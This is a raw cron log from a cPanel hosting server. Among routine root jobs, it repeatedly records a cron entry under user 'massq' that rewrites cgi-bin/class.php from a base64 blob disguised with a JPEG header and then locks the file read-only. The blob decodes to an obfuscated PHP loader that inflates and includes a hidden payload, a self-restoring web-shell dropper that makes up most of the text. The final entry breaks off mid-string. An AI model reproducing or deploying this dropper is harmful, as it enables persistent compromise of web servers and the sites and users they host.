Sep  7 20:54:01 server CROND[25649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:54:01 server CROND[25650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:54:01 server CROND[25651]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:55:01 server CROND[26023]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 20:55:01 server CROND[26024]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 20:55:01 server CROND[26027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:55:01 server CROND[26032]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 20:55:01 server CROND[26035]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 20:55:01 server CROND[26038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:55:01 server CROND[26041]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:56:01 server CROND[26860]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:56:01 server CROND[26861]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:56:01 server CROND[26862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:57:01 server CROND[27249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:57:01 server CROND[27251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:57:01 server CROND[27252]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 20:57:01 server CROND[27250]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:58:01 server CROND[27642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:58:01 server CROND[27641]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:58:01 server CROND[27643]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:59:01 server CROND[28122]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:59:01 server CROND[28123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:59:01 server CROND[28124]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:00:01 server CROND[28506]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 21:00:01 server CROND[28508]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  7 21:00:01 server CROND[28513]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 21:00:01 server CROND[28512]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 21:00:01 server CROND[28514]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 21:00:01 server CROND[28516]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:00:01 server CROND[28510]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:00:01 server CROND[28511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:00:01 server CROND[28515]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 21:01:01 server CROND[29345]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:01:01 server CROND[29346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:01:01 server CROND[29347]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 21:01:01 server CROND[29348]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:01:01 server run-parts(/etc/cron.hourly)[29347]: starting 0anacron
Sep  7 21:01:01 server run-parts(/etc/cron.hourly)[29367]: finished 0anacron
Sep  7 21:02:01 server CROND[29775]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:02:01 server CROND[29777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:02:01 server CROND[29776]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:03:01 server CROND[30172]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:03:01 server CROND[30173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:03:01 server CROND[30174]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:04:01 server CROND[30629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:04:01 server CROND[30630]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:04:01 server CROND[30631]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:05:01 server CROND[31022]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 21:05:01 server CROND[31024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:05:01 server CROND[31031]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 21:05:01 server CROND[31034]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:05:01 server CROND[31036]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 21:05:01 server CROND[31032]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 21:05:01 server CROND[31033]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 21:05:01 server CROND[31030]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5